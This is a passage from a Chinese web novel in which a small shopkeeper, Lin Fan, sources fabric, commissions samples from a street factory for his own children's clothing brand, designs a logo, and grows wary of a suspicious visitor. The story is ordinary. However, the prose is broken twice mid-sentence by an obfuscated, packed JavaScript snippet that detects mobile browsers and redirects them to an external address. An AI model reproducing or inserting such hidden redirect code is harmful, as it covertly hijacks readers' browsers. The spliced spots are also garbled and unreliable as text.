“兄弟,你也去市里找货源啊?我听说东郊区有家服装厂,叫‘利民服装厂’,做的童装质量不错,针脚齐,面料也实在,很多人都去那拿货,老板姓赵,人挺实在,不坑人,你可以去看看!” 林凡赶紧把地址记在笔记本上,心里踏实了些,还跟刘哥聊了聊行情,刘哥说: “现在做自有品牌是趋势,你有眼光,比咱们倒腾货强多了”,这话让他更有底气,腰杆都直了点,连坐着都觉得舒服了。 车窗外的县城慢慢往后退——卖早点的张叔正支起摊子,蒸笼冒着白气,把他的脸熏得发红,已经有客人在排队了; 哈着白气等油条,嘴里还说着“张叔,多炸会儿,脆点”;修鞋的李师傅蹲在路边,锤子敲在鞋钉上,“叮当”响,旁边放着个收音机,在唱《春天的故事》,声音有点飘,电池快没电了; 街面上的人慢悠悠地走,有的提着菜篮,菜篮里装着新鲜的青菜,有的背着书包,书包上印着卡通图案,透着股熟悉的烟火气; 林凡看着,心里有点舍不得,却也更坚定了——为了笑笑,为了这个家,必须往前走,不能回头。 车子驶出县城,窗外的景物换成了绿油油的田野,麦苗长得齐膝高,风从车窗缝里钻进来,带着青草的甜香,拂在脸上,软乎乎的,像孩子的小手,还能闻到点泥土的腥味。 路边的油菜花田开得金灿灿的,像铺了层黄毯子,蜜蜂在花丛里嗡嗡转,忙着采蜜,偶尔停在花瓣上,翅膀还在扇动; 农民伯伯在田里插秧,弯腰的动作整齐划一,透着股干劲,裤脚沾着泥,溅了不少泥点,弯腰时腰上的旧皮带发出“吱呀”声,偶尔直起身来,擦把汗,用袖子擦,袖子都湿了,又接着干,阳光洒在他们身上,像镀了层金。 林凡攥紧了胸口的钱,指腹蹭过纸币的纹路,心里的忐忑慢慢被一股豪情代替—— 他不再是那个躲着黑皮跑的小摊贩,也不再是守着存折不敢动的“守财奴”,他要去闯一条自己的路; 一条能让笑笑过得更好的路,一条能让“笑笑宝贝屋”真正立住脚的路,不再看别人脸色,不再担惊受怕。 车窗外的天很蓝,云像棉花似的飘着,软乎乎的,偶尔有小鸟飞过,叽叽喳喳的; 远处的山峦起伏着,像铺了层绿毯,透着股开阔的劲儿。 林凡深吸一口气,空气里满是青草的甜香,目光坚定地望向远方。 这不是结束,是新的开始。 他要带着对家的牵挂,去闯那片未知的天地,去拼一个更好的未来,拼一个能让笑笑安心的家。 他仿佛已经看到,秋天的时候; 笑笑穿着印着“笑笑”logo的淡蓝色T恤,在公园里跑,手里拿着小风车; 风把风车吹得“呼呼”转,风也把衣角吹起来,像只蓝蝴蝶; 孩子的笑声裹着阳光,甜得像刚剥的橘子糖,连空气都透着暖。 有个阿姨走过来问,手里还牵着个小女孩: “这衣服真好看,在哪买的呀?料子摸着真软,我家孩子也能穿吗?” 笑笑骄傲地挺起小胸脯,声音脆生生的,像小铃铛: “这是我爸爸做的!在‘笑笑宝贝屋’买的!我爸爸做的衣服最舒服了!” 那画面,够他扛过所有的未知和风浪,够他一步一步,把日子过成想要的样子。 新的征程,从这班“哐当”响的早班车开始了。 而家的方向,永远是他心里最软的牵挂,也是最硬的底气。 第三十三章:工厂与货源 市区的三天,林凡活像块被攥到极致的海绵,每一寸纤维都吸满了奔波的潮气。 不是走马观花地在布料市场与工厂间打转,是要把每一寸棉线的纹路、每一种布料的手感都刻进心里,刻得比掌纹还深,连指尖划过布料时的糙感、软感,都能闭着眼分清。 凌晨五点的天,灰得像掺了墨的冷粥,风裹着深秋的寒气往骨缝里钻,吹得人指尖发僵,连哈出的白气都没等飘远,就散成了雾蒙蒙的一片。 他已经蹲在“利民布料市场”锈迹斑斑的铁门外,膝盖上还盖着件笑笑穿小的旧外套,浅粉色的布料洗得发灰,袖口补了块同色的布,针脚是他连夜缝的,歪歪扭扭却格外结实。 铁门上的“利民”两个字掉了半块漆,露出里面暗红的铁皮,风一吹,铁门就“吱呀——吱呀”响,像隔壁患了哮喘的老爷爷,每一声都带着颤。 他手里攥着个皱巴巴的透明塑料袋,袋口用橡皮筋缠了两圈,缠得手指都勒出了红印,生怕里面的布料小样掉出来。袋子里躺着七八块布: 有块深灰普棉是县城批发商那拿的滞销款,表面磨得发毛,指尖一捻就能搓下细绒,洗两次就起球,他留着当“反面教材”,每次摸都忍不住皱眉; 还有笑笑穿旧的浅粉T恤边角,领口磨出一圈淡白的毛边,是笑笑每天攥着玩磨的,袖口还沾着点洗不掉的巧克力渍; 那是上次笑笑生日吃蛋糕蹭的,当时她哭鼻子说“衣服脏了爸爸会不会骂”,林凡哄了半天说“脏了也好看”,现在摸着这软布,指尖都能想起当时她粘在脸上的奶油,暖得发疼。 不远处的早点摊刚支起油锅,“滋啦——”一声,金黄的油条沉进热油里,香气裹着油烟飘过来,油星子溅在铁板上,蹦出的小火星没等落地就灭了。 林凡咽了口唾沫,喉结上下滚了滚,却没动——兜里只剩五十三块二毛,是这三天的饭钱和返程车费,更怕错过市场开门的第一分钟: 早来能跟摊主蹲在摊位前慢慢聊,摸遍所有布料的手感;晚了采购商一多,摊主连抬头的功夫都没有,更别说剪小样、问细节了。 市场铁门“哗啦”一声被拉开时,一股混杂着三重气息的热浪直扑过来。 最冲的是染料味,红色的带着点呛人的铁锈甜,像含了口没化的锈糖,蓝色的闷得发沉,像把浸了化工膏的棉花堵在鼻尖,吸一口都觉得鼻腔发涩; 接着是棉絮的软香,飘在空气里轻悠悠的,像刚拆的新棉被,吸进肺里都觉得暖,得轻轻咳一下,才敢把那股绒气咽下去; 最后裹着摊主们的汗味——大多是凌晨三点就来卸货的汉子,身上带着奔波的潮气,混着刚喝的豆浆味,粘在洗得发白的蓝布褂子上,连呼吸都带着点糙劲,像刚从田埂上下来的农人。 林凡没顾上捂鼻子,跟着人流往里走,帆布包往肩上紧了紧,包带勒得肩膀生疼,他却脚步飞快地扎进第一家摊位; 这家主打棉料,上次打电话问过,老板姓刘,据说手里有新疆长绒棉的货源,他在小本子上画了三颗星,标着“重点找”。 他从市场东头的第一家,摸到西头的最后一家,指尖蹭得沾满了白绒,指甲缝里嵌的棉絮黑乎乎的也不在意,连手指关节都被粗糙的布料磨得发红,一碰就疼。 手里的旧软皮本快被翻烂了,封面还画着笑笑去年画的小太阳,太阳的光芒涂得不均匀,有的地方深有的地方浅,是笑笑用蜡笔一点点涂的,边角还沾着点饭粒,是上次带在身上吃饭蹭的。 里面每一页都记得密密麻麻,字写得挤挤挨挨,生怕浪费一点纸:“精梳棉??每米8.5元??捏着软如刚晒透的云朵,指腹划过无糙感,纤维能顺着摸出走向??冷水浸泡20分钟后攥水,晾干无缩水??适合做外穿T恤,贴肤不扎; 笑笑穿肯定舒服”“普棉??每米6元??表面略糙但攥着有分量,展开时‘沙沙’响(棉纤维摩擦声)??清水洗3次掉色度≤2%??适合做内衬或打底,性价比高; 能压低成本”“涤棉混纺??每米7元??耐磨但捏着发硬,贴手臂试了1分钟就觉闷??孩子穿容易闷汗,上次笑笑穿涤棉裙子就喊痒,还起了小红点??pass——绝对不能用”。 每个字都写得用力,笔尖把纸都戳出了小印子,遇到不确定的,还会让摊主剪一小块样品,用圆珠笔在布角标上名字; 到最后,塑料袋鼓得像个小皮球,里面的布料按“精梳棉”“普棉”“混纺”分了三类,用橡皮筋捆得整整齐齐,连碎绒都没掉一根。他摸了摸袋子,像摸着一堆小心攒下的盼头,嘴角忍不住往上扬了扬。 找工厂的路,比他在心里预演的还要曲折。按报纸中缝广告寻到的第一家,藏在城乡结合部的破院子里,院门掉了块木板,露出里面的乱象: 五台老式缝纫机挤在漏风的棚子里,棚子的塑料布破了个大洞,风一吹就“哗啦”响,像谁在扯块破布; 缝纫机“咔嗒咔嗒”响得像牙齿打颤,最里面那台的针脚都歪了,缝出来的线像扭麻花,有的地方还漏了针,露出里面的白衬; 地上的碎布片里混着半根断针,闪着锈光,生怕谁不小心踩上去。院子角落里堆着废弃的布料,颜色斑驳,有块浅蓝布上沾着不明的黑渍,像泼了墨; 一只瘦得肋骨都凸出来的流浪狗在旁边扒拉,尾巴夹在腿间,爪子上的泥蹭在布料上,留下道黑印,它还时不时抬头哼两声,声音哑得像被冻住,想找里面裹的食物残渣。 老板叼着根两块钱一包的“春城”烟,烟蒂吊在嘴角,烟灰簌簌往油腻的围裙上掉; 围裙上沾着块深褐色的油斑,黑得发亮,像是积了半年的老油,他也没拍,就用手掸了掸,油星子反而蹭得更开。 瞥了眼林凡手里的样品袋,语气不耐烦得像赶苍蝇: “就做百八十件?折腾啥!我这机器调一次要两小时,电费都得十块,你这点活儿,不够我付电费的!不接!” 说完,头也不回地钻进里屋,连让林凡多解释“后续会加单”的机会都没有,门“砰”地一声关上,震得棚子上的灰簌簌掉下来,落在林凡的帆布包上。 第二家在窄巷深处,门脸只够一个人过,门口堆着几个没拆的快递盒,上面的胶带都发黄了,沾着层灰。 老板娘坐在柜台后嗑瓜子,柜台后面堆的快递盒快没过她的肩膀,地上的瓜子壳堆了一小堆,有的还卡在柜台缝里,招来几只小飞虫。 她涂着掉漆的红指甲油,无名指的红甲油只留了半截,像被啃过似的,露出里面泛黄的指甲,指甲缝里还卡着点瓜子皮。 指尖捏着瓜子,“咔嚓”一声咬开,吐壳的动作熟练得很,壳子直接吐在快递盒上,发出“嗒”的轻响。 听林凡说要做童装,她眼皮都没抬,直接报价: “五块钱一件。”林凡心里咯噔一下——上次在县城问过加工费,最多三块,这五块比翻倍还多。 他手伸进帆布包摸了摸钱包,里面的钱攥得发皱,连毛票都捋得整整齐齐,赶紧皱着眉问: “能不能少点?我们是小本生意,第一次做,后续量大了还找您。” 老板娘把瓜子壳往地上一吐,翻了个白眼,语气尖得像扎人: “嫌贵?你找别家去!前两天李老板还来问,要做两百件,给四块五我都没接呢!县城里想做的人多着呢,不缺你这一单!” 林凡看着她满不在乎的样子,心里犯嘀咕——这态度,怕是连尺寸都不会核对,做出来的衣服说不定长短不一,转身也走了。 刚出巷口,就听见老板娘在后面嘟囔:“穷酸样,还想做童装。”那声音飘在风里,刺得耳朵疼。 第三家更离谱。 车间门没关,林凡刚走到巷口,就闻到一股霉味,混着布料的酸味,像晒潮了的旧衣服闷在箱子里,呛得他连连咳嗽,喉咙里像卡了团湿棉絮。 往里一看,一群苍蝇在堆在墙角的布料上嗡嗡绕圈,翅膀扇动的声音“嗡嗡”的,吵得人脑仁疼,有的还停在缝纫机的针脚上,针脚里缠着灰绒,黑一块白一块。 最里面那堆浅白布上,小黑点像撒了把芝麻,有的还连成了片,是霉斑,看着都让人发怵。他没进门就转身走了。 给孩子穿的衣服,卫生都保证不了,再便宜也不能要。万一孩子穿了过敏,起红疹子,那不是砸了“笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607499|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑宝贝屋”的招牌,更是对不起信任他的顾客,比如总来买衣服的张阿姨,上次还说“凡子,你家的东西我放心”,他不能让这份信任落空。 直到找到“红星服装厂”,林凡悬着的心才算落了点。 这是家街道办小厂,门脸不大,红漆写的“红星服装厂”五个字虽然褪色,却被擦得发亮,连笔画里的缝都没灰; 门口挂着块“质量第一”的木牌,边角磨得光滑,看得出来常年被人用布擦,木牌下面还挂着串小铜铃,风一吹就“叮铃——叮铃”响,像孩子的笑声。 木牌旁边贴着最新的卫生评比结果,红星厂得了“优”,红色的“优”字旁边画着一朵小红花,花瓣涂得很均匀,格外显眼,下面还盖着街道办的红章。 推开门进去,车间里的景象跟之前两家截然不同:五台缝纫机摆得整整齐齐,间距刚好能过一个人,机身擦得没一点油污,亮得能照见工**妈鬓角的白发,连踏板上都干干净净,能映出人影; 工**多是四十多岁的中年大妈,戴着黑框老花镜,有的镜腿用透明胶带缠了圈,踩踏板的时候动作稳,线走得笔直,剪下来的线头都扔进旁边的小竹筐,没一根落在地上; 竹筐是竹编的,上面还刻着“红星”两个字,竹纹里没一点灰。角落里堆着的布料,都用新的塑料布盖得严实,塑料布上印着“防尘防潮”的蓝色字样,连边边角角都用夹子固定住,没露出来一点。 最靠门的大妈正缝着一件浅蓝衬衫,手指会轻轻点着布料,确保每一针都对齐领口的印子,神情专注得很,连林凡进门都没抬头,只有缝纫机的“嗒嗒”声,稳得像钟表。 负责人是个姓徐的中年女人,留着齐耳短发,发梢别着个黑色塑料发卡,边缘有点磨白,发卡上还沾着根浅灰的线头; 是刚才缝衬衫时从布料上勾下来的,她自己都没察觉,说话时发卡跟着头动,线头也轻轻晃。 她穿件洗得发白的蓝工装,袖口卷到小臂,露出里面的浅灰秋衣,秋衣的袖口有点松,说话爽利得像刮过的风,没一点绕弯子: “我看你是真心想做事,不像那些打游击的——过来就问‘能不能偷工减料’‘能不能压到最低价’,孩子穿的东西,哪能马虎。” 她指了指车间里的布料,“我们用的棉料都是正规渠道进的,每批都有检测报告,你要是想看,我给你找,上面有质检局的章。” 林凡赶紧从背包里掏出两样东西:一块浅蓝精梳棉,一块米白普棉,都是他挑了半天的好料,边角叠得整整齐齐,连毛边都用小剪刀修剪过,没一点参差; 还有张画得工工整整的设计图——图纸是用笑笑的数学作业本纸画的,纸边缘有点卷边,是林凡揣在怀里捂的,上面还留着笑笑算错的算术题“3+5=7”,错题旁边,笑笑还用铅笔打了个叉,画了只歪歪扭扭的小鸭子,边缘沾着点粉色蜡笔印(上次笑笑在旁边画小花,不小心蹭上去的)。 林凡手指轻轻蹭过那道错题,好像还能摸到笑笑当时握笔的小力气,她歪着头问“爸爸,是不是这样写”的声音还在耳边。 图纸上照着笑笑一件合身的旧T恤,标了密密麻麻的尺寸,每个尺寸旁边都画了小符号:领口加半寸,旁边画了个小脖子的图案,写着“免得勒着孩子的脖子,上次笑笑穿紧领口的衣服喊疼,哭了半天”; 袖口卷边缝两圈,画了个小袖口,注着“不容易开线,洗了也不会散,上次林凡自己缝的袖口就开了,笑笑说‘爸爸缝得不好’”; 下摆放宽一寸,画了个跑跳的小人,写着“孩子跑跳方便,不会卡腿,笑笑上次穿紧身裤子,跑的时候摔了一跤”; 左胸留个两指宽的小口袋,旁边用红笔写着“绣Logo用”,还特意备注了“口袋加深一厘米,能装小玩具”—— 这是他听张阿姨说的,上次张阿姨来买衣服,抱着孙子,孙子手里攥着个弹珠,一松手掉在地上,张阿姨捡起来叹着说 “要是衣服口袋深点,这弹珠就不会掉了,上次掉了个,找了半天没找着”,林凡当时就记在小本子上,画了个口袋的符号,旁边还标了个“重点改”。 第三十四章:样品与暗流 “徐主任,就按这个做,针脚要密,每寸至少十二针,锁边得牢,不能让孩子抠着线头玩。孩子穿的,半点马虎不得。” 林凡说得认真,指尖还在图纸上点了点“口袋加深”的备注,生怕徐主任没注意到细节,语气里满是恳求。 徐主任接过布料,指尖捏着棉线轻轻抻了抻,棉线弹得匀,没断,她又凑到鼻尖闻了闻,没异味,点点头: “这是新疆长绒棉,纤维长,能到38毫米,透气性好,孩子穿不闷汗,选得不错——我家小孙女就穿这种棉的,软得很。” 又低头看图纸,手指点着尺寸标,一笔一笔核对:“领口加半寸、袖口卷边、口袋加深——想得挺细,都是为孩子考虑的。没问题。” 她顿了顿,报出价格:“加工费三块五一件,比外面便宜五**,咱们都是实在人,不赚黑心钱。十天后给你看样品,预付三成定金,你看行不?” 林凡心里一松,比他预算的四块还少五**。他赶紧从包里掏出计算器,指尖颤得连按键都按不准,按了两次“350”才按对,生怕徐主任突然说“不行”,心都提到嗓子眼: “一百件加工费三百五十块,布料八百五十块,总共一千二,定金三成是三百六十块……”他摸了摸钱包,里面的钱刚好够,连毛票都凑上了。 “行!太行了!我现在就付定金!”他把钱递过去,指尖还在发颤,徐主任接过钱,数了两遍,放进抽屉里,还给他开了张收据,上面盖着“红星服装厂”的红章。 谈妥时,天已经擦黑,车间的灯亮了,暖黄的光裹着缝纫机的“嗒嗒”声,倒有股踏实的劲。 徐主任从车间里拿出两件用边角料赶制的样品,递给他: “你先拿着看看,要是不满意,咱们再改——这是按你图纸做的,就是颜色用了剩料,浅灰和浅粉,是之前做成人衬衫剩下的,你别介意。” 林凡接过来,指尖一碰就知道好——布料软乎乎的,像摸着笑笑刚晒过太阳的小棉袄,还带着点阳光的暖意; 针脚密得像鱼鳞,他凑到灯前数了数,每寸真的有十三针,比他要求的还多;领口的双层布缝得平整,没一点硌手的地方,用指甲轻轻刮了下,没起毛; 锁边是双线,用手指拽了拽,没开线。他又翻到里面,看不到一根多余的线头,连标签都缝得服帖,标签是浅白布做的,上面用蓝线绣着“红星制”,不会磨到孩子的皮肤。 他攥着这两件小T恤,心里像揣了个小暖炉,连跑了三天的累——脚底磨的水泡(昨天走太多路,水泡破了,贴了片创可贴,现在还疼,走一步就抽一下)、指尖的棉絮、被老板怼的委屈——都化成了脚底的劲。 返程的班车里飘着汽油味,混着乘客带的菜味。 前排大妈带了一网兜白菜和萝卜,白菜叶子上还沾着点露水,湿了塑料袋,水珠滴在地板上,她正低头剥豆子,指甲缝里还留着点泥,豆子壳滚到林凡脚边,林凡弯腰捡起来,递给大妈,大妈笑着说 “小伙子心细,跟我家小子差不多大”,还塞给他一颗剥好的豆子,甜丝丝的。 林凡把样品裹在旧毛衣里,贴在胸口——这件毛衣是灰色的,袖口磨破了,是笑笑去年穿小的,现在他当内搭穿,毛衣的领口松了,洗得发白,上面还沾着点笑笑的头发,软乎乎的。 他怕样品被挤坏,也怕被人看见起心思,就这么紧紧护着,像护着件宝贝。 回到县城时,街灯已经亮了。 黄澄澄的光裹着晚风,吹在脸上软乎乎的,连空气里都带着点晚饭的香,隔壁“李记面馆”飘来的牛肉汤味,浓得能闻出里面放了胡椒,还有点葱花的鲜;巷口张婶家炒青菜的味,带着点烟火气,勾得人肚子咕咕叫。 他没回筒子楼,直接往店里走。 “笑笑宝贝屋”的门还没关,王猛正搬着松木门板准备关门,门板上有几道划痕,是上次卸货时蹭的,他用砂纸磨过,却没完全磨掉,露出里面的木纹。 看到林凡风尘仆仆的样子,王猛赶紧放下门板迎上来,手里还攥着块旧毛巾改的抹布,抹布是之前卖不出去的浅粉T恤改的; 领口剪了个洞,套在手上刚好,上面还沾着点洗洁精的泡沫,是刚才擦货架剩下的——他看到林凡的帆布包上沾着点布料的白绒,赶紧用抹布蹭了蹭: “凡子!你可回来了!咋样?市里顺利不?没遇到啥麻烦吧?我这三天都没睡好,总怕你被人坑了!” 林凡笑了笑,没说话,从背包里小心翼翼地掏出那两件样品,摊在柜台上。 淡灰的T恤在灯光下泛着软光,浅粉的那件领口还留着徐主任用粉笔画的记号,像个小月牙,没擦干净。 “猛子,你摸摸。” 王猛赶紧凑过来,粗糙的手指反复捏着布料——他的手常年搬货,指腹磨出了茧子,却格外轻地蹭过针脚,像摸自家娃的脸似的,还把口袋翻过来,对着店里的灯看: “哎呦!这料子真软和!比咱们进的那些童装还好——你看这锁边,比我媳妇缝衣服还密,上次我媳妇给娃缝裤子,针脚大得能塞手指!” 他咧开的嘴都合不上,露出两排白牙,又翻到里面, “你看这线头,一根都没有! 上次进的那批货,里面的线头能扯出半寸, 张阿姨还来找过我,说孙子穿了痒,我赶紧给人换了件。 凡子, 这是你找的新货源? 肯定好卖!我看张阿姨下次来,指定得买两件,说不定还会带街坊来!” 林凡摇摇头,指着左胸的小口袋,语气里藏着点抑制不住的兴奋,连声音都轻了点: “猛子,这不是新货源,是咱们自己的货。” “自己的货?” 王猛愣了,眼睛瞪得圆圆的,像见了稀奇事,伸手挠了挠头,指节蹭得头发乱了也没察觉: “啥叫自己的货?咱们还能做衣裳?这不是电视里那些大工厂才有的本事吗?咱们这小破店,连个缝纫机都没有,也能做?” 他说着,又拿起样品翻来覆去地看,手指蹭过针脚时,还轻轻叹了口气,像是第一次见这种“自己做的衣服”,眼里满是不敢信。 “对,咱们自己做。” 林凡拿起浅粉T恤,手指在口袋上轻轻划了圈,圈住那个未来要绣Logo的地方, “布料是我挑的新疆长绒棉,摸着软,孩子穿不闷汗;版式是我按笑笑的衣服定的,领口、口袋都改了,更合身; 厂子是街道办的红星厂,靠谱得很,车间干净,工人也仔细。以后这里,就绣上‘笑笑宝贝屋’的标记——哪怕现在只是个名头,也是咱们自己的牌子,不用再看批发商的脸色,他们想涨价就涨价,想断货就断货。” 王猛盯着T恤上的小口袋,半天没说话,突然一拍大腿,声音都高了: “好!太好了!凡子,你真能折腾!这要是成了,咱们就不用再跟人抢货,也不用怕他们压价了! 之前李批发商给咱们涨了五毛钱,咱们都得跟着涨,有个顾客本来要拿三件,一听涨价,只拿了一件,还说‘别家都没涨’!” 可兴奋劲过了,他又有点担心,声音低了点,凑得近了些,生怕被路过的人听到: “就是……这得花不少钱吧?定金付了多少?第一批做一百件,布料、加工费、绣Logo,算下来得几百块吧?万一做出来卖不出去,咱们这不白扔钱了? 咱们店里的流动资金本来就不多,上次交房租还是凑的,笑笑的学费还没攒够呢……” “先试水,花不了多少。” 林凡拍了拍他的肩,掌心的温度传过去,语气坚定得像钉钉子, “猛子,我算过了:布料每米8.5元,一件T恤用一米布,一百件就是850元;加工费3.5元一件,一百件350元; 绣Logo五**一个,一百件50元;总共1250元,定金付了三成,也就375元。 就算卖得慢,咱们老顾客有二十多个,张阿姨、李婶、幼儿园的王老师,每人买两件就能卖四十件,剩下的摆着慢慢卖,亏不了多少。 而且,老是卖别人的货,赚点差价,永远是小打小闹。 要想让笑笑过上安稳日子,不用再挤筒子楼(现在住的筒子楼没暖气,冬天笑笑总冻得手脚凉,晚上睡觉得裹两床被子),不用再担心交不起学费,咱们得有自己的东西。这事儿,错不了。” 王猛看着他眼里的光——那光比店里的灯还亮,是他以前跟林凡一起在夜市摆摊时没见过的,是带着盼头的光。 心里的担心慢慢散了,他重重点头,攥着拳头: “成!你说咋干就咋干!我听你的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607500|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店里的事你放心,有我呢!我每天多擦两遍货架,多跟顾客聊聊,问问他们喜欢啥颜色、啥尺码; 笑笑我也护得妥妥的,每天下午6点就把她送回家给她把奶给她吃了,绝不让巷口的小混混欺负她——上次那几个小混混想抢笑笑的橡皮,被我骂走了,他们再也不敢来了!” “这几天辛苦你了。” 林凡把样品叠好,放进柜台最里面的抽屉,还锁上了小铜锁——抽屉里还放着笑笑的照片,是去年生日拍的。 笑笑穿着粉色连衣裙,笑得露出两颗小虎牙,照片的边角有点卷,是林凡经常拿出来看磨的。“关门吧,我请你吃馄饨,街口那家‘张记’,加个蛋,边吃边说店里的事。” 接下来的几天,店里的日子照旧——王猛擦货架、招呼客人,遇到熟客就念叨“咱们以后有自己做的童装了,软和得很,比别家的都舒服,到时候给娃留一件”; 林凡理货、记销售,可他的心思多了层牵挂,像揣了颗发芽的种子,总想着快点长大。 他趁没客人的时候,趴在柜台上画Logo。 桌上铺着张白纸,旁边放着笑笑的彩色铅笔——有红、黄、蓝三种颜色,红色的铅笔头有点秃,是笑笑平时画画用的; 黄色的那支断了半截,用透明胶带缠了圈,蓝色的笔帽丢了,是上次笑笑说“爸爸画Logo要用好看的颜色,小朋友才喜欢”,硬塞给他的。 他先画了笑笑的笑脸,圆圆的脸,眼睛画了三根睫毛,结果看着像小猫咪,摇摇头用橡皮擦掉,橡皮屑掉在作业本上,他吹了吹; 又画了小太阳,光芒画了十道,怕绣出来太挤,不好看,又擦掉;最后选了个最简单的——“笑笑”两个字用圆滚滚的字体,是照着笑笑作业本上的字写的,有点歪,却透着可爱,旁边加个小小的爱心,用红铅笔涂得浅浅的,刚好能绣在小口袋上。 画好后,他还拿给笑笑看,笑笑趴在桌上,手里拿着粉色蜡笔,在爱心旁边画了个小太阳,蜡笔太尖,戳破了点纸,她赶紧用小手捂住; 小声说“爸爸对不起”,林凡摸了摸她的头,说“这样才好看,像太阳照着爱心,小朋友肯定喜欢”,笑笑才露出笑脸,抱着他的胳膊蹭了蹭。林凡心里更定了,觉得这Logo比任何设计都好。 他还专门去了县城的“红光刺绣店”。 店在巷子里,门口挂着块蓝布帘,上面绣着朵栀子花,白色的花瓣,绿色的叶子,绣得活灵活现。 老板娘坐在老式缝纫机前绣手帕,手帕上的栀子花已经绣了一半,白色的线在浅蓝布上显得特别干净,她的手指有点糙,指关节上有层薄茧,是常年握针磨的,绣的时候,针穿过布的声音“沙沙”的,特别轻,像风吹过树叶。 听林凡说要绣小图案,老板娘抬头笑,眼角的皱纹挤成一团,像朵菊花: “小图案五**一个,一百个起绣,三天就能好——你要是着急,我让徒弟晚上加两小时班,两天给你弄好,不额外加钱。” 林凡连忙说:“不用急,您按正常来就行,保证质量最重要,这是绣在孩子衣服上的,不能马虎,要是线松了,孩子容易抠下来吃,不安全。” 老板娘点点头,指了指墙上挂的奖状: “放心,我做刺绣三十年了,从没出过差错。这是去年县上给的,说我绣的东西质量好,有个城里的老板还来订过婚服的刺绣呢,上面的凤凰绣得跟真的一样。” 林凡顺着看过去,奖状的边角有点卷,上面的“优质刺绣商户”几个字还很清晰,下面盖着县妇联的红章。 每天晚上关店后,林凡都会翻童装区的销售记录。 账本是蓝色封面的,边角磨得发白,里面的纸有点黄,是用圆珠笔写的,有的地方洇了墨,是上次下雨时不小心溅的。 他翻到最近一个月的记录,用铅笔在纸上画了个简单的表格: 浅蓝卖了32件,其中10件是张阿姨介绍的街坊买的,张阿姨还说“这颜色显白,娃穿好看”; 粉白28件,8件是幼儿园王老师订的,说要给班上的孩子当表演服,“软和,孩子穿得舒服”; 浅黄15件;深颜色的(深灰、深蓝)只卖了10件——家长都说“浅颜色耐脏、显白,孩子穿好看,深颜色沾了灰更明显,洗也不好洗”。 第三十五章:样品与希望 尺码方面,110厘米卖了45件,占总销量的40%,是附近小学一二年级孩子常穿的; 100厘米和120厘米各卖了25件左右,100厘米是幼儿园大班的孩子穿,120厘米是三年级的; 大家提得最多的要求是“软、耐洗、不掉色”,有个李婶来买时,拿着衣服在手里搓了搓,说“要是洗了不掉色就好; 上次买的红衣服,洗了一次就染得白袜子都红了,娃还哭了”,还有个家长说“希望衣服上的图案别太复杂,简单点就行,太复杂的图案容易掉渣,娃会放嘴里嚼”。 这些都被他记在小本子上,还画了小勾,准备下次跟徐主任敲定生产细节时用——比如浅蓝和米白各做50件,100、110、120厘米的尺码各占三分之一,图案就用自己画的“笑笑+爱心”,简单又可爱。 可平静没几天,一丝暗流就悄悄绕了过来,像条藏在草丛里的小蛇,贴着“笑笑宝贝屋”的门口,吐着信子。 那天下午,阳光有点晃眼,透过玻璃门照在货架上,把文具区的橡皮照得发亮,橡皮上的小猪图案都清晰得很,连猪鼻子上的小点点都看得见。 店里进来个穿洗得发白夹克的年轻人,夹克的拉链坏了,用根灰绳子系着,绳子上还沾着点水泥灰,是工地的; 裤脚卷到膝盖,露出沾着泥的帆布鞋——泥还没干,在地板上踩出了几个浅印,是巷口工地的黄泥巴,他走的时候脚还蹭了蹭地板,像是想把印子擦掉,却蹭得更花。 他不看童装,也不看玩具,就围着文具货架转,手插在裤兜里,指节在里面动来动去,眼神飘得厉害: 一会儿瞟瞟柜台的抽屉(里面锁着样品),抽屉上的小铜锁闪着光,他看了两眼,又赶紧移开; 一会儿看看店外的街,像在找什么东西,又像在等什么人。 转的时候,他的手还在橡皮盒上碰了下,一块粉色橡皮掉在地上,他也没捡,就假装没看见,脚还往旁边挪了挪,差点踩到橡皮,橡皮上的小猪图案都蹭花了。 王猛刚要拿抹布去擦橡皮上的灰,林凡赶紧用眼神按住他——他太熟悉这种眼神了,以前黑皮的小弟来店里“探店”时,就是这种眼神,里面藏着鬼,透着不怀好意。 黑皮没进去前,总想着抢他的夜市摊位,还动手推过他,现在进去了,小弟说不定还记着仇。 林凡自己走过去,语气平静得像聊天气,脚步却悄悄往笑笑的小垫子那边挪了挪——笑笑正在那边玩积木,堆了个小小的“房子”,房子的窗户是用方形积木拼的,还插了根小旗子。 “同志,需要点什么? 文具还是玩具?要是给孩子买,我可以给你推荐,我们这儿的橡皮是无铅的,孩子用着安全,不会**,颜色也好看。” 那年轻人吓了一跳,身子僵了一下,像被针扎了,手从裤兜里抽出来,又赶紧塞了回去,支吾着说: “没……没啥,随便看看。”说完,转身就往外走,脚步快得像在逃,出门时肩膀还差点撞到门框,踉跄了一下才站稳,头也不回地往巷子里钻,很快就没影了,只留下地上的那块粉色橡皮。 “这人鬼鬼祟祟的,肯定没好事!” 王猛凑过来说,语气里满是警惕,手还攥着抹布,指节都发白了, “会不会是黑皮的人?黑皮虽然进去了,可他那些小弟还在县城晃悠,上次我还在菜市场看到他们跟卖菜的吵架,抢人家的秤砣,凶得很!说不定是来探风的,看咱们店还开不开,有没有可乘之机!” 林凡没说话,眉头轻轻蹙了起来,指尖在柜台上轻轻敲着,心里盘算着: 黑皮进去前,跟自己抢过夜市的摊位,还放话“不让你好过”,现在他的小弟没散,肯定还记着仇。 